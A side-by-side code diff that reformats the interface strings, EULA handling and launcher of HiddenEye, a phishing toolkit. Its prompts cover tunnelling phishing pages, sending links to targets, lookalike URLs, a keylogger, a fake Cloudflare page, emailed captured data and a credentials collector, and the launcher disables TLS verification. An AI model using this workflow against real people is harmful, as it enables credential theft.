_("{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------" "{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"enter_redirecting_url_prompt": "enter_redirecting_url_prompt": _(
_("\n{0}[{1}*{0}]Insert a custom redirect url:").format( "\n{0}[{1}*{0}]Insert a custom redirect url:"
default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
"redirect_here": "redirect_here": _("\n{0}REDIRECT HERE>>> {1}").format(
_("\n{0}REDIRECT HERE>>> {1}").format(default_palette[0], default_palette[0], default_palette[2]
default_palette[2]), ),
} }
# #

View File

@ -10,109 +10,97 @@ from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette default_palette = theme.default_palette
lang_server_selection = { lang_server_selection = {
"server_selection": "server_selection": _(
_("{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------" "{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"select_any_available_server": "select_any_available_server": _(
_("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format( "\n {0}[{1}*{0}]{0}Select Any Available Server:{1}"
default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
"servers_list": [ "servers_list": [
[ ["{0}[{1}00{0}]{1}Localhost", "{0}[{1}04{0}]{1}Localtunnel (not working now)"],
"{0}[{1}00{0}]{1}Localhost", ["{0}[{1}01{0}]{1}Ngrok", "{0}[{1}05{0}]{1}OpenPort (not working now)"],
"{0}[{1}04{0}]{1}Localtunnel (not working now)" ["{0}[{1}02{0}]{1}Serveo", "{0}[{1}06{0}]{1}Pagekite (not working now)"],
],
[
"{0}[{1}01{0}]{1}Ngrok",
"{0}[{1}05{0}]{1}OpenPort (not working now)"
],
[
"{0}[{1}02{0}]{1}Serveo",
"{0}[{1}06{0}]{1}Pagekite (not working now)"
],
["{0}[{1}03{0}]{1}Localxpose (not working now)"], ["{0}[{1}03{0}]{1}Localxpose (not working now)"],
], ],
} }
lang_start_localhost = { lang_start_localhost = {
"localhost_server": "localhost_server": _(
_("\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------"). "\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------"
format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"your_localhost_is": "your_localhost_is": _("Your Localhost is "),
_("Your Localhost is "), "starting_server_on_addr": _("\n[*] Starting Server On Address:: {0}:{1}"),
"starting_server_on_addr": "running_localhost_server": _(
_("\n[*] Starting Server On Address:: {0}:{1}"), "\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------"
"running_localhost_server": ).format(default_palette[0], default_palette[2]),
_("\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------" "send_this_url_suggestion": _(
).format(default_palette[0], default_palette[2]), "\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK"
"send_this_url_suggestion": ).format(default_palette[0], default_palette[2]),
_("\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK").format( "localhost_url": _("\n{0}[{1}*{0}]{1} Localhost URL: {2}http://").format(
default_palette[0], default_palette[2]), default_palette[2], default_palette[3], default_palette[3]
"localhost_url": ),
_("\n{0}[{1}*{0}]{1} Localhost URL: {2}http://").format(
default_palette[2], default_palette[3], default_palette[3]),
} }
lang_start_ngrok = { lang_start_ngrok = {
"ngrok_server": "ngrok_server": _(
_("\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------").format( "\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------"
default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"send_this_url_suggestion": "send_this_url_suggestion": _(
_("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format( "\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS"
default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"ngrok_url": "ngrok_url": _("\n{0}[{1}*{0}]{1} NGROK URL: {2}").format(
_("\n{0}[{1}*{0}]{1} NGROK URL: {2}").format(default_palette[0], default_palette[0], default_palette[2], default_palette[3]
default_palette[2], ),
default_palette[3]),
} }
lang_start_serveo = { lang_start_serveo = {
"serveo_random_server": "serveo_random_server": _(
_("\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------" "\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"serveo_custom_server": "serveo_custom_server": _(
_("\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------" "\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"send_this_url_suggestion": "send_this_url_suggestion": _(
_("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS").format( "\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS"
default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
"make_url_simmilar_to_real_suggestion": "make_url_simmilar_to_real_suggestion": _(
_("\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.").format( "\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL."
default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
"insert_custom_subdomain": "insert_custom_subdomain": _("\n{0}Insert a custom subdomain for serveo").format(
_("\n{0}Insert a custom subdomain for serveo").format( default_palette[0], default_palette[2]
default_palette[0], default_palette[2]), ),
"serveo_url": "serveo_url": _("\n{0}[{1}*{0}]{1} SERVEO URL: {2}").format(
_("\n{0}[{1}*{0}]{1} SERVEO URL: {2}").format(default_palette[0], default_palette[0], default_palette[4], default_palette[3]
default_palette[4], ),
default_palette[3]), "failed_to_get_domain": _("\n{0}FAILED TO GET THIS DOMAIN.").format(
"failed_to_get_domain": default_palette[0]
_("\n{0}FAILED TO GET THIS DOMAIN.").format(default_palette[0]), ),
"suggestion_to_fix_issue": "suggestion_to_fix_issue": _(
_("\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE." "\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
).format(default_palette[0]), ).format(default_palette[0]),
"you_can_try_to_select_other_domain": "you_can_try_to_select_other_domain": _(
_("\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)..."). "\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)..."
format(default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
"serveo_url_option_selection": "serveo_url_option_selection": _(
_("\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------" "\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"serveo_phishing_warning": "serveo_phishing_warning": _(
_("\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful." "\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful."
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"choose_type_of_url": "choose_type_of_url": _(
_("\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}" "\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"url_types": [ "url_types": [
["{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)"], ["{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)"],
["{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"], ["{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"],
], ],
"serveo_is_down": "serveo_is_down": _(
_("{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}" "{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}"
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
} }
lang_rand_localxpose = { lang_rand_localxpose = {
"localxpose_random_server": "localxpose_random_server": _(
_("\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------" "\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]) ).format(default_palette[0], default_palette[2])
} }

View File

@ -11,132 +11,131 @@ default_palette = theme.default_palette
text_to_confirm_license = _("Yes, i do") text_to_confirm_license = _("Yes, i do")
write_eula = _(""" write_eula = _(
"""
# To Accept EULA set eula to True # To Accept EULA set eula to True
# Don't accept EULA if you didn't read LICENSE # Don't accept EULA if you didn't read LICENSE
""") """
)
lang_check_php = { lang_check_php = {
"found": "found": _("\n {0}[{1}*{0}] PHP has been found. Proceeding.").format(
_("\n {0}[{1}*{0}] PHP has been found. Proceeding.").format( default_palette[0], default_palette[2]
default_palette[0], default_palette[2]), ),
"not-found": "not-found": _(
_("\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again."). "\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again."
format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
} }
lang_check_permissions = { lang_check_permissions = {
"permissions_granted": "permissions_granted": _("{0}Permissions granted!").format(default_palette[0]),
_("{0}Permissions granted!").format(default_palette[0]), "permissions_denied": _("{0}Permissions denied! Please run as {1}sudo{0}").format(
"permissions_denied": default_palette[0], default_palette[2]
_("{0}Permissions denied! Please run as {1}sudo{0}").format( ),
default_palette[0], default_palette[2]), "windows_warning": _(
"windows_warning": "\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system."
_("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system." ).format(default_palette[0], default_palette[2]),
).format(default_palette[0], default_palette[2]),
} }
lang_verify_connection = { lang_verify_connection = {
"connected": "connected": _("\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]").format(
_("\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]").format( default_palette[0], default_palette[2]
default_palette[0], default_palette[2]), ),
"disconnected": "disconnected": _("\n{0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]").format(
_("\n{0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]").format( default_palette[0], default_palette[2]
default_palette[0], default_palette[2]), ),
"verify_your_connection": "verify_your_connection": _(
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet."). "\n{0}[{1}!{0}] Network error. You are disconnected from the internet."
format(default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"continue_warning": "continue_warning": _(
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection.").format( "\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection."
default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"continue_confirmation": "continue_confirmation": _(
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format( "\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)"
default_palette[2], default_palette[0]) ).format(default_palette[2], default_palette[0]),
} }
lang_module_loading_message = { lang_module_loading_message = {
"is_loaded": "is_loaded": _("{0} IS LOADED...{0}\n--------------------------------").format(
_("{0} IS LOADED...{0}\n--------------------------------").format( default_palette[0], default_palette[2]
default_palette[0], default_palette[2]), ),
"select_any_mode": "select_any_mode": _(
_("\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------" "\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------"
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
} }
lang_get_ip_addr = {"unable_to_get_ip": "Unable to get Hostname and IP"} lang_get_ip_addr = {"unable_to_get_ip": "Unable to get Hostname and IP"}
lang_port_selector = { lang_port_selector = {
"website_port_selection": "website_port_selection": _(
_("\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------" "\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"select_any_available_port": "select_any_available_port": _("\n {0}[{1}*{0}] Select Port [1-65535]:{1}").format(
_("\n {0}[{1}*{0}] Select Port [1-65535]:{1}").format( default_palette[0], default_palette[4]
default_palette[0], default_palette[4]), ),
"port_suggestion": "port_suggestion": _(
_("\n {0}[{1}*{0}] We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want." "\n {0}[{1}*{0}] We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
).format(default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
} }
lang_exit_message = { lang_exit_message = {
"choice": "choice": _(
_("\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}" "\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}"
).format(default_palette[0], default_palette[4], default_palette[2]), ).format(default_palette[0], default_palette[4], default_palette[2]),
"help_to_improve_this_tool": "help_to_improve_this_tool": _(
_("{1} [[*]] {0}You always can help to improve this tool and support us. {0}" "{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
).format(default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"tell_if_page_got_broken": "tell_if_page_got_broken": _(
_("{0}[{1}!{0}] If any phishing page got broken, please let us know." "{0}[{1}!{0}] If any phishing page got broken, please let us know."
).format(default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"make_your_pull_request_or_issue": "make_your_pull_request_or_issue": _(
_("{0}[{1}!{0}] You can create issue or pull request on our GitHub page."). "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
format(default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"small_disclaimer_suggestion": "small_disclaimer_suggestion": _(
_("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use." "{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use."
).format(default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"forum_suggestion": "forum_suggestion": _(
_("{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help." "{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help."
).format(default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"financial_support": "financial_support": _(
_("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)" "{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)"
).format(default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"thank_you": "thank_you": _(
_("{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!" "{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!"
).format(default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
} }
lang_credentials_collector = { lang_credentials_collector = {
"waiting_for_interaction": "waiting_for_interaction": _(
_("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n" "{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n"
).format(default_palette[0], default_palette[2], default_palette[4]), ).format(default_palette[0], default_palette[2], default_palette[4]),
"credentials_found": "credentials_found": _("\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n").format(
_("\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n").format( default_palette[2], default_palette[3]
default_palette[2], default_palette[3]), ),
"device_details_found": "device_details_found": _("\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n").format(
_("\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n").format( default_palette[2], default_palette[3]
default_palette[2], default_palette[3]), ),
"getting_pressed_keys": "getting_pressed_keys": _("\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n").format(
_("\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n").format( default_palette[2], default_palette[3]
default_palette[2], default_palette[3]), ),
} }
lang_terms_of_service_message = { lang_terms_of_service_message = {
"great_power_great_responsibility": "great_power_great_responsibility": _(
_(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY " " {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
"do_you_accept_license": "do_you_accept_license": _("{0}Do you accept {1}license{0}?").format(
_("{0}Do you accept {1}license{0}?").format(default_palette[2], default_palette[2], default_palette[0]
default_palette[0]), ),
"enter_this_to_confirm": "enter_this_to_confirm": _("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(
_("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format( default_palette[2], default_palette[0], text_to_confirm=text_to_confirm_license
default_palette[2], ),
default_palette[0], "you_are_not_allowed": _(
text_to_confirm=text_to_confirm_license), "{0}You are {1}not allowed {0}to use this app without accepting license."
"you_are_not_allowed": ).format(default_palette[2], default_palette[0]),
_("{0}You are {1}not allowed {0}to use this app without accepting license." "GPL_3.0": _(
).format(default_palette[2], default_palette[0]), """
"GPL_3.0":
_("""
GNU GENERAL PUBLIC LICENSE GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007 Version 3, 29 June 2007
@ -811,5 +810,6 @@ may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>. <https://www.gnu.org/licenses/why-not-lgpl.html>.
"""), """
),
} }

View File

@ -8,27 +8,39 @@
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _ from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette default_palette = theme.default_palette
feature_prompt = { feature_prompt = {
"feature_alert": "feature_alert": _(
_(
"---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD " "---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format( "LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format(
default_palette[0], default_palette[4])), default_palette[0], default_palette[4]
"keylogger": )
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format( ),
default_palette[0], default_palette[2])), "keylogger": _(
"cloudfare": "\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format( default_palette[0], default_palette[2]
default_palette[0], default_palette[2])), )
"email": ),
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format( "cloudfare": _(
default_palette[0], default_palette[2])), "\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(
"none": default_palette[0], default_palette[2]
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format( )
default_palette[0], default_palette[2])), ),
"example": "email": _(
_('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format( "\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
)
),
"none": _(
"\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(
default_palette[0], default_palette[2]
)
),
"example": _(
"\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}".format(
default_palette[0], default_palette[2]
)
),
} }

View File

@ -7,6 +7,7 @@
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette default_palette = theme.default_palette
hidden_eye_logo = """ hidden_eye_logo = """
@ -14,18 +15,20 @@ hidden_eye_logo = """
{1} {2} {0} {1} {2} {0}
{1} {2} {0} {1} {2} {0}
{1} {2} {0} {1} {2} {0}
{1} {2} {0}""".format(default_palette[4], default_palette[2], default_palette[0]) {1} {2} {0}""".format(
default_palette[4], default_palette[2], default_palette[0]
)
input_line = "\n{0}HiddenEye >>> {1}".format( input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2])
default_palette[0], default_palette[2]) official_website_link = "{0}https://dark-sec-official.com".format(default_palette[0])
official_website_link = '{0}https://dark-sec-official.com'.format( by_darksec = "{0}** BY:DARKSEC **".format(default_palette[0])
default_palette[0]) line_of_dots = "{0}...............................".format(default_palette[0])
by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0]) small_logo = """{1}
line_of_dots = '{0}...............................'.format(default_palette[0])
small_logo = '''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers {1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]) {0}** BY: {1}DARKSEC {0}**""".format(
default_palette[0], default_palette[2]
)
invalid_option = "Please choose a valid option." invalid_option = "Please choose a valid option."

View File

@ -8,6 +8,6 @@
import gettext import gettext
gettext.bindtextdomain('HiddenEye', 'locale') gettext.bindtextdomain("HiddenEye", "locale")
gettext.textdomain('HiddenEye') gettext.textdomain("HiddenEye")
_ = gettext.gettext _ = gettext.gettext

View File

@ -6,5 +6,10 @@
# #
default_palette = ['\033[91m', '\033[46m', '\033[36m', default_palette = [
'\033[1;32m', '\033[0m'] # TODO Will be replaced later, "\033[91m",
"\033[46m",
"\033[36m",
"\033[1;32m",
"\033[0m",
] # TODO Will be replaced later,

View File

@ -21,7 +21,8 @@ if EULAController().check_eula_confirmation() is False:
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr( if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
ssl, "_create_unverified_context", None): ssl, "_create_unverified_context", None
):
ssl._create_default_https_context = ssl._create_unverified_context ssl._create_default_https_context = ssl._create_unverified_context
simple_informant.check_permissions() simple_informant.check_permissions()
@ -44,8 +45,7 @@ if __name__ == "__main__":
server_runner.start_server(port) server_runner.start_server(port)
server_runner.server_selection(port) server_runner.server_selection(port)
multiprocessing.Process(target=server_runner.start_server, multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
args=(port,)).start()
simple_informant.credentials_collector() simple_informant.credentials_collector()
except KeyboardInterrupt: except KeyboardInterrupt:

View File

@ -5,10 +5,10 @@ from views.EULA_view import EULAView
class EULAController: class EULAController:
def __init__(self, confirmation_text: str = 'eula = True'): def __init__(self, confirmation_text: str = "eula = True"):
self.eula = "eula.txt" self.eula = "eula.txt"
self.confirmation_text = confirmation_text self.confirmation_text = confirmation_text
self.license = open("LICENSE", 'r') self.license = open("LICENSE", "r")
def check_eula_existence(self): def check_eula_existence(self):
""" """
@ -23,14 +23,18 @@ class EULAController:
def generate_new_eula(self): def generate_new_eula(self):
pathlib.Path(str(self.eula)).touch(exist_ok=True) pathlib.Path(str(self.eula)).touch(exist_ok=True)
text_license = self.license.read() text_license = self.license.read()
with open(str(self.eula), 'w+') as temp_eula: with open(str(self.eula), "w+") as temp_eula:
chmod(self.eula, 0o777) chmod(self.eula, 0o777)
temp_eula.write("{0}\n{1}".format( temp_eula.write(
EULAView().EULA_messages["eula_start_of_file_unconfirmed"], text_license)) "{0}\n{1}".format(
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
text_license,
)
)
temp_eula.close() temp_eula.close()
def check_eula_confirmation(self): def check_eula_confirmation(self):
with open(self.eula, 'r') as file: with open(self.eula, "r") as file:
if self.confirmation_text in file.read(): if self.confirmation_text in file.read():
print(EULAView().EULA_messages["eula_is_confirmed"]) print(EULAView().EULA_messages["eula_is_confirmed"])
return True return True
@ -40,17 +44,27 @@ class EULAController:
def confirm_eula(self): def confirm_eula(self):
# FIXME replace those strings with View entries # FIXME replace those strings with View entries
print(f'{self.license.read()}\nGreat Power Comes With Great Responsibility') print(f"{self.license.read()}\nGreat Power Comes With Great Responsibility")
print('\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER.') print(
print('\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program.') "\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER."
print('\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this ') )
print('\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them.') print(
"\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program."
)
print(
"\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this "
)
print(
"\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them."
)
print('\nDo you accept EULA? \nEnter: "I accept EULA" to continue') print('\nDo you accept EULA? \nEnter: "I accept EULA" to continue')
answer = input("HiddenEye EULA>> ").lower().replace(" ", "") answer = input("HiddenEye EULA>> ").lower().replace(" ", "")
if answer == "iaccepteula": if answer == "iaccepteula":
eula_temp_input = open(self.eula, "rt") eula_temp_input = open(self.eula, "rt")
eula_temp_data = eula_temp_input.read().replace(EULAView( eula_temp_data = eula_temp_input.read().replace(
).EULA_messages["eula_start_of_file_unconfirmed"], EULAView().EULA_messages["eula_start_of_file_confirmed"]) EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
EULAView().EULA_messages["eula_start_of_file_confirmed"],
)
eula_temp_input.close() eula_temp_input.close()
eula_temp_input = open(self.eula, "wt") eula_temp_input = open(self.eula, "wt")
eula_temp_input.write(eula_temp_data) eula_temp_input.write(eula_temp_data)

View File

@ -9,6 +9,10 @@ class EULAView:
"eula_is_not_confirmed": _("You didn't accept EULA, please open eula.txt"), "eula_is_not_confirmed": _("You didn't accept EULA, please open eula.txt"),
"eula_not_found": _("EULA isn't found\n Generated new EULA"), "eula_not_found": _("EULA isn't found\n Generated new EULA"),
"eula_is_invalid": _("EULA is not valid"), "eula_is_invalid": _("EULA is not valid"),
"eula_start_of_file_unconfirmed": _("# Please read and accept EULA below\n eula = False"), "eula_start_of_file_unconfirmed": _(
"eula_start_of_file_confirmed": _("# Please read and accept EULA below\n eula = True") "# Please read and accept EULA below\n eula = False"
),
"eula_start_of_file_confirmed": _(
"# Please read and accept EULA below\n eula = True"
),
} }